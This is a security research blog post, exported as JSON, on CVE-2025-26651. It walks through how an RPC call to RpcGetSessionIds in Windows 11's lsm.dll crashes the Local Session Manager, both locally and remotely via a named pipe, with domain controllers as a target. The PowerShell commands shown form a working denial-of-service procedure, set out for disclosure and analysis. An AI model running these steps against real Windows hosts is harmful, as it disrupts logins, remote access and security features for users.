{"id":7194,"date":"2025-05-07T17:03:38","date_gmt":"2025-05-07T15:03:38","guid":{"rendered":"https:\/\/warpnet.nl\/?p=7194"},"modified":"2025-12-08T13:21:55","modified_gmt":"2025-12-08T12:21:55","slug":"cve-2025-26651-pressing-the-lsm-kill-switch","status":"publish","type":"post","link":"https:\/\/warpnet.nl\/en\/blog\/cve-2025-26651-pressing-the-lsm-kill-switch\/","title":{"rendered":"CVE-2025-26651: Pressing the LSM kill switch"},"content":{"rendered":"

Warpnet colleague Remco van der Meer researched Microsoft Remote Procedure Call (MS-RPC) and stumbled upon several vulnerabilties in Windows built-in exposed procedures. One of them causes Local Session Manager (LSM) to crash by a simple RPC call. The vulnerability was patched within April’s patch tuesday and was assigned CVE-2025-26651<\/a>. This post will describe how Remco discovered the vulnerability and will describe it’s impact and attack-surface.<\/p>\n\n\n\n

Discovering the vulnerability<\/h2>\n\n\n\n

To be honest, this is the most boring part of the story. I ran my fuzzer against all dll’s and exe’s in \\Windows\\System32\\<\/code>. After running it nothing seemed to have happen. But once I wanted to reconnect to my VM over RPD I couldn’t anymore. Connecting normally with Hyper-V was allowed, but once I wanted to login this error showed up:<\/p>\n\n\n\n

\"\"
Error after logging in: The RPC server is unavailable<\/figcaption><\/figure>\n\n\n\n

What happend? Of course I ran it again to see if it was actually triggered by my fuzzer or that it was just coincidence. And yes, it happend again. Because I fired my fuzzer against all the DLL’s and executables in the System32<\/code>, I was not sure what RPC call caused this behaviour.<\/p>\n\n\n\n

I opened event viewer and cleared the system logs. After running my fuzzer again, I checked event viewer and noticed this:<\/p>\n\n\n\n

\"\"
Event logs show that the Local Session Manager service terminated unexpectedly<\/figcaption><\/figure>\n\n\n\n

It seemed that something was crashing Local Session Manager (LSM). The Local Session Manager service is a system service responsible for handling user sessions. It plays a critical role in managing the lifecycle of user logins and logouts, coordinating with other system components to create, terminate, and switch between sessions. Because I ran my fuzzer from a low user perspective, this meant that a low user can crash LSM!<\/p>\n\n\n\n

But how do we find what RPC call was made? Well for crashes like this it is a bit harder, because a RPC Server won’t respond with a message like “Hey I crashed” right? Oh wait; it does.<\/p>\n\n\n\n

Checking the JSON output files after fuzzing, the RPC call RpcGetSessionIds<\/code> in lsm.dll<\/code> resulted in the error: Attempt to send a message to a disconnected communication port<\/code>. The RPC calls before that were other errors about some bad data. The RPC calls after that only resulted in the same error message.<\/p>\n\n\n\n

\"\"
Fuzz data shows that the communication port got disconnected<\/figcaption><\/figure>\n\n\n\n

Manually verifying the vulnerability<\/h2>\n\n\n\n

Let’s reboot the host and make the RpcGetsessionIds<\/code> call manually. The definition of the call is:<\/p>\n\n\n\n

RpcGetSessionIds(NtCoreLib.Ndr.Marshal.NdrEnum16 p0, int p1)<\/code><\/pre>\n\n\n\n
For the first parameter it takes a Marshalled NdrEnum16<\/code> and a integer as parameters. NdrEnum16<\/code> is a marshaling type used by Microsoft’s Network Data Representation (NDR) engine. It represents a 16-bit enumeration (enum) type, meaning it is a 2-byte integer used to transfer enum values in an RPC call.<\/p>\n\n\n\n
The question is: What did my fuzzer use as values for these parameters? The fuzzer keeps a log that shows this:<\/p>\n\n\n\n
RPCserver: lsm.dll \nProcedure: RpcGetSessionIds\nParams: 0, 0\n------------------------<\/code><\/pre>\n\n\n\n
Okay, both values were just 0<\/code>, interesting. We can use NtObjectManager<\/a> to get a RPC client that can connect to the RPC-interface of lsm.dll<\/code>. But we first set the path for the global symbol resolver.<\/p>\n\n\n\n
# Parse debug.dll for symbols\n$debuggerPath = "$env:systemdrive\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\dbghelp.dll"\nSet-GlobalSymbolResolver -DbgHelpPath $debuggerPath <\/code><\/pre>\n\n\n\n
Next, we check the available RPC interfaces for the LSM RPC server:<\/p>\n\n\n\n
PS C:\\Users\\user\\Documents\\RPC> $rpcinterface = "C:\\\\WINDOWS\\\\System32\\\\lsm.dll" | Get-RpcServer\nPS C:\\Users\\user\\Documents\\RPC> $rpcinterface\n\nName    UUID                                 Ver Procs EPs Service Running\n----    ----                                 --- ----- --- ------- -------\nlsm.dll 11f25515-c879-400a-989e-b074d5f092fe 1.0 11    0   LSM     False\nlsm.dll 1e665584-40fe-4450-8f6e-802362399694 1.0 4     0   LSM     False\nlsm.dll 88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0 12    0   LSM     False\nlsm.dll 11899a43-2b68-4a76-92e3-a3d6ad8c26ce 1.0 4     0   LSM     False\nlsm.dll 53825514-1183-4934-a0f4-cfdc51c3389b 1.0 5     0   LSM     False\nlsm.dll e3907f22-c899-44e7-9d11-9d8b3d924832 1.0 7     0   LSM     False\nlsm.dll c2d15ccf-a416-46dc-ba58-4624ac7a9123 1.0 3     0   LSM     False\nlsm.dll 484809d6-4239-471b-b5bc-61df8c23ac48 1.0 21    0   LSM     False\nlsm.dll c938b419-5092-4385-8360-7cdc9625976a 1.0 2     0   LSM     False<\/code><\/pre>\n\n\n\n
Hmm, okay it has a few. Luckily, my fuzzer keeps track over which RPC-interface the call was made. This seemed to be 88143fd0-c28d-4b2b-8fef-8d882f6a9390<\/code>. So the third one in the list. Let’s get that one:<\/p>\n\n\n\n
PS C:\\Users\\user\\Documents\\RPC> $lsmint = $rpcinterface[2]<\/code><\/pre>\n\n\n\n
NtObjectManager will actually try to find what Windows Service is using this RPC interface:<\/p>\n\n\n\n
PS C:\\Users\\user> $lsmint | fl\n\nInterfaceId        : 88143fd0-c28d-4b2b-8fef-8d882f6a9390\nInterfaceVersion   : 1.0\nProcedureCount     : 12\nServer             : 88143fd0-c28d-4b2b-8fef-8d882f6a9390:1.0\nProcedures         : {Proc0, ServiceMain, ServiceMain, ServiceMain…}\nComplexTypes       : {Struct_0, Union_1, Struct_2, Struct_3…}\nNdr64Procedures    : {Proc0, ServiceMain, ServiceMain, ServiceMain…}\nNdr64ComplexTypes  : {}\nFilePath           : C:\\WINDOWS\\System32\\lsm.dll\nName               : lsm.dll\nOffset             : 635824\nServiceName        : LSM\nServiceDisplayName : Local Session Manager\nIsServiceRunning   : True\nEndpoints          : {}\nEndpointCount      : 0\nClient             : False<\/code><\/pre>\n\n\n\n
We can see it is LSM. But NtObjectManager couldn’t find any endpoints here. In order to connect a RPC client, we need a endpoint to connect to. Luckily, James Forshaw<\/a> of course did some research into this and found a few methods to gather (Alpc) endpoints for RPC interfaces using a bruteforce method:<\/p>\n\n\n\n
PS C:\\Users\\user> Get-RpcEndpoint -InterfaceId 88143fd0-c28d-4b2b-8fef-8d882f6a9390 -InterfaceVersion 1.0 -FindAlpcPort\n\nUUID                                 Version Protocol Endpoint                        Annotation\n----                                 ------- -------- --------                        ----------\n88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0     ncalrpc  LSMApi\n88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0     ncalrpc  OLE3F5803A8AB099E675A9C85E1B737\n88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0     ncalrpc  LRPC-804b316a3a786bb5e7\n```\n\nIt finds three (Alpc) endpoints. It can even give us the binding string:\n```powershell\nPS C:\\Users\\user> (Get-RpcEndpoint -InterfaceId 88143fd0-c28d-4b2b-8fef-8d882f6a9390 -InterfaceVersion 1.0 -FindAlpcPort).BindingString\nncalrpc:[LSMApi]\nncalrpc:[OLE3F5803A8AB099E675A9C85E1B737]\nncalrpc:[LRPC-804b316a3a786bb5e7]<\/code><\/pre>\n\n\n\n
It finds three (Alpc) endpoints. It can even give us the binding string:<\/p>\n\n\n\n
PS C:\\Users\\user> (Get-RpcEndpoint -InterfaceId 88143fd0-c28d-4b2b-8fef-8d882f6a9390 -InterfaceVersion 1.0 -FindAlpcPort).BindingString\nncalrpc:[LSMApi]\nncalrpc:[OLE3F5803A8AB099E675A9C85E1B737]\nncalrpc:[LRPC-804b316a3a786bb5e7]<\/code><\/pre>\n\n\n\n
We can use one of these binding strings to connect our client:<\/p>\n\n\n\n
PS C:\\Users\\user> $client = $lsmint | Get-RpcClient\nPS C:\\Users\\user> connect-rpcclient $client -StringBinding "ncalrpc:[LSMApi]"\n\n# Check out connected client\nPS C:\\Users\\user> $client\n\nNew               : _Constructors\nNewArray          : _Array_Constructors\nConnected         : True\nEndpoint          : \\RPC Control\\LSMApi\nProtocolSequence  : ncalrpc\nObjectUuid        :\nInterfaceId       : 88143fd0-c28d-4b2b-8fef-8d882f6a9390:1.0\nTransport         : NtCoreLib.Win32.Rpc.Transport.RpcAlpcClientTransport\nDefaultTraceFlags : None<\/code><\/pre>\n\n\n\n
Let’s check for the vulnerable RPC call RpcGetSessionIds<\/code>.<\/p>\n\n\n\n
PS C:\\Users\\user> $client | gm | Where-Object { $_.Name -eq 'RpcGetSessionIds' } | fl\n\nTypeName   : Client\nName       : RpcGetSessionIds\nMemberType : Method\nDefinition : RpcGetSessionIds_RetVal RpcGetSessionIds(NtCoreLib.Ndr.Marshal.NdrEnum16 p0, int p1)<\/code><\/pre>\n\n\n\n
Great, now we can invoke the RPC call with the same parameter values as my fuzzer:<\/p>\n\n\n\n
# Check LSM before invoking RPC call\nPS C:\\Users\\user> Get-Service lsm\n\nStatus   Name               DisplayName\n------   ----               -----------\nRunning  lsm                Local Session Manager\n\n# Invoke RPC call\nPS C:\\Users\\user> $client.RpcGetSessionIds(0,0)\nMethodInvocationException: Exception calling "RpcGetSessionIds" with "2" argument(s): "(0xC0000701) - The ALPC message requested is no longer available."\n\n# Check LSM after invoking RPC call\nPS C:\\Users\\user> Get-Service lsm\n\nStatus   Name               DisplayName\n------   ----               -----------\nStopped  lsm                Local Session Manager<\/code><\/pre>\n\n\n\n
We managed to manually verify that RpcGetSessionIds<\/code> is causing LSM to crash. But what is the root cause of this?<\/p>\n\n\n\n
Root cause analysis<\/h2>\n\n\n\n
When I tried to exploit the vulnerability on a Windows-10 based machine, it didn’t work. So it seems there is a difference in how this call get’s handled by the RPC server on Windows 11. Let’s use Ghidra to see if we can get a better understanding of the root cause.<\/p>\n\n\n\n
I attached Windbg to the LSM process, ran the RPC call and looked at the call stack:<\/p>\n\n\n\n
\"\"
Windbg Call Stack shows RpcGetSessionIds instruction<\/figcaption><\/figure>\n\n\n\n
One thing that I thought was odd, is that it triggers an debug break. Then I loaded lsm.dll<\/code> from a Windows-11 host in Ghidra, parsed the lsm.pdb and analyzed the binary. I set the base address and searched for the RpcGetSessionIds<\/code> function and eventually got here:<\/p>\n\n\n\n
\"\"
Output in Ghidra for the RpcGetSessionIds function for lsm.dll of Windows 11<\/figcaption><\/figure>\n\n\n\n
The function only seems to call DebugBreak<\/code>, which is a function in API-MS-WIN-CORE-DEBUG-L1-1-0.DLL<\/code> but is skipped when there is no debugger attached. With no debugger attached (normal case), the function should only return 0x80004001<\/code> which is the Windows message for Not implemented<\/code>.<\/p>\n\n\n\n
undefined8 RpcGetSessionIds(void)\n{\n  DebugBreak();\n  return 0x80004001; \/\/ Equivalent to "Not implemented"\n}<\/code><\/pre>\n\n\n\n
Maybe you can already kinda see where this is heading to. Let’s compare this function with the lsm.dll<\/code> and lsm.pdb<\/code> from a Windows-10 based host (since W10 doesn’t seem vulnerable), using the same method with Ghidra.<\/p>\n\n\n\n
\"\"
Different output in Ghidra for the RpcGetSessionIds function for lsm.dll of Windows 10<\/figcaption><\/figure>\n\n\n\n
This actually holds the functionality for RpcGetSessionIds<\/code>, whereas Windows 11 doesn’t. If we take a look at the call stack on Windows-11 in Windbg after crashing LSM, we see:<\/p>\n\n\n\n
\"\"
Call stack in Windbg when performing the RPC call<\/figcaption><\/figure>\n\n\n\n
rpcrt4.dll<\/code> is the system library in Windows that actually implements the Remote Procedure Call (RPC) runtime. It seems that rpcrt4.dll<\/code> is not aware that RpcGetSessionIds<\/code> (Opnum 8)<\/a> is not implemented anymore. Next to that, LSM doesn’t seem to properly handle the error and crashes. The question is: should the function be available on Windows-11 or should it not exist at all?<\/p>\n\n\n\n
Impact<\/h2>\n\n\n\n
By crashing LSM, all users cannot login\/logout anymore and the user’s session are unstable. Other than that, all dependencies on LSM wouldn’t work, these include RDP, Docker and security features such as Microsoft Defender Application Guard and Sandbox.<\/p>\n\n\n\n
But what if a administrator is logged in and tries to start the service again? Well… not happening, the service is dead:<\/p>\n\n\n\n
\"\"
The LSM service cannot be started from a elevated shell<\/figcaption><\/figure>\n\n\n\n
But wait, there is more..<\/p>\n\n\n\n
Oh no; Remotely crashing LSM<\/h2>\n\n\n\n
After doing a bit of research online on previous discovered vulnerabilities on LSM, I came across this great blogpost by Akamai<\/a>.<\/p>\n\n\n\n
Which describes that: This interface is supposed to be only accessible through the hvsocket to containers. In our case, LSM registers a named pipe endpoint “\\pipe\\LSM_API_service”, which is remotely accessible. Because of endpoint multiplexing, a remote attacker can connect to the named pipe endpoint and send a request to the container’s interface.<\/em><\/p>\n\n\n\n
Recall that we can connect to RPC through different protocols like TCP, UDP, HTTP and also SMB (ncacn_np).<\/p>\n\n\n\n
\"\"
Allowed protocols for remote RPC connections<\/figcaption><\/figure>\n\n\n\n
The vulnerability that was stated in the blogpost was discovered in another RPC-interace c938b419-5092-4385-8360-7cdc9625976a<\/code>. However, it was in the same RPC server of LSM. To check if we can use \\pipe\\LSM_API_service<\/code> as named pipe to invoke the RPC call, we can first connect our RPC client using NtObjectManager locally:<\/p>\n\n\n\n
PS C:\\Users\\user> connect-rpcclient $client -StringBinding "ncacn_np:[\\\\pipe\\\\LSM_API_service]"\nPS C:\\Users\\user> $client\n\nNew               : _Constructors\nNewArray          : _Array_Constructors\nConnected         : True\nEndpoint          : \\Device\\NamedPipe\\LSM_API_service\nProtocolSequence  : ncacn_np\nObjectUuid        :\nInterfaceId       : 88143fd0-c28d-4b2b-8fef-8d882f6a9390:1.0\nTransport         : NtCoreLib.Win32.Rpc.Transport.RpcNamedPipeClientTransport\nDefaultTraceFlags : None\n<\/code><\/pre>\n\n\n\n
It connects! Let’s see if we are allowed to invoke the vulnerable RPC call:<\/p>\n\n\n\n
PS C:\\Users\\user> $client.RpcGetSessionIds(0,0)\nMethodInvocationException: Exception calling "RpcGetSessionIds" with "2" argument(s): "(0x80070005) - Access is denied."<\/code><\/pre>\n\n\n\n
Access denied.. But there are some connection options like specifying the authentication type and level:<\/p>\n\n\n\n
PS C:\\Users\\user> connect-rpcclient $client -StringBinding "ncacn_np:[\\\\pipe\\\\LSM_API_service]" -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT\n\n\n# Invoking the RPC call again\nPS C:\\Users\\user> $client.RpcGetSessionIds(0,0)\nMethodInvocationException: Exception calling "RpcGetSessionIds" with "2" argument(s): "(0xC000014B) - The pipe operation has failed because the other end of the pipe has been closed."<\/code><\/pre>\n\n\n\n
We get the error message again! And LSM is crashed. This means that we can remotely crash LSM too if we are authenticated. I wrote a Python script with impacket authentication (actually modified PetitPotam.py) and fired it against a Windows 11 host with port 445 & 139 opened:<\/p>\n\n\n\n
\"\"
Remote exploit succeeds and crashes LSM<\/figcaption><\/figure>\n\n\n\n
Targeting the domain controller<\/h2>\n\n\n\n
How many times is port 445 or 139 open for a regular host? Not that often. But for the domain controller, these are open by default. Using domain credentials, a remote user can crash LSM on the DC!<\/p>\n\n\n\n
\"\"
Remote exploit succeeds and crashes LSM on the Domain Controller<\/figcaption><\/figure>\n\n\n\n
Of course we can also target other hosts, as long as port 139 or 445 is open.<\/p>\n\n\n\n
The fix<\/h2>\n\n\n\n
The vulnerability was patched within April’s patch tuesday. After installing the updates on a Windows 11 host and reversing the LSM.dll<\/code> file again with Ghidra, we can see the difference for the RpcGetSessionIds<\/code> function:<\/p>\n\n\n\n
\"\"
RpcGetSessionIds function after April’s patch tuesday<\/figcaption><\/figure>\n\n\n\n
Now, it checks a feature flag via Windows Implementation Library (WIL). If the feature is disabled, it triggers a DebugBreak(). Regardless of the feature flag, it still returns E_NOTIMPL<\/code>. So the function was not removed, probably for compatability reasons.<\/p>\n\n\n\n
Timeline<\/h2>\n\n\n\n
01-03-2025<\/strong> : Vulnerability report submitted<\/p>\n\n\n\n
03-03-2025<\/strong> : Case opened for the issue<\/p>\n\n\n\n
10-03-2025<\/strong> : Status changed from Review\/Repro to Develop<\/p>\n\n\n\n
10-03-2025<\/strong> : Case is possibly in scope for a bounty and under review<\/p>\n\n\n\n
18-03-2025<\/strong> : Status changed from Develop to Pre-Release<\/p>\n\n\n\n
20-03-2025<\/strong> : CVE-2025-26651 granted, heads-up for April patch Tuesday<\/p>\n\n\n\n
21-03-2025<\/strong> : Case is in scope for a bounty<\/p>\n\n\n\n
08-04-2025<\/strong> : April’s patch tuesday includes the fix<\/p>\n\n\n\n
10-04-2025<\/strong> : Status changed from Pre-Release to Complete<\/p>\n\n\n\n
16-04-2025<\/strong> : Bounty awarded<\/p>\n\n\n\n
Sources<\/h2>\n\n\n\n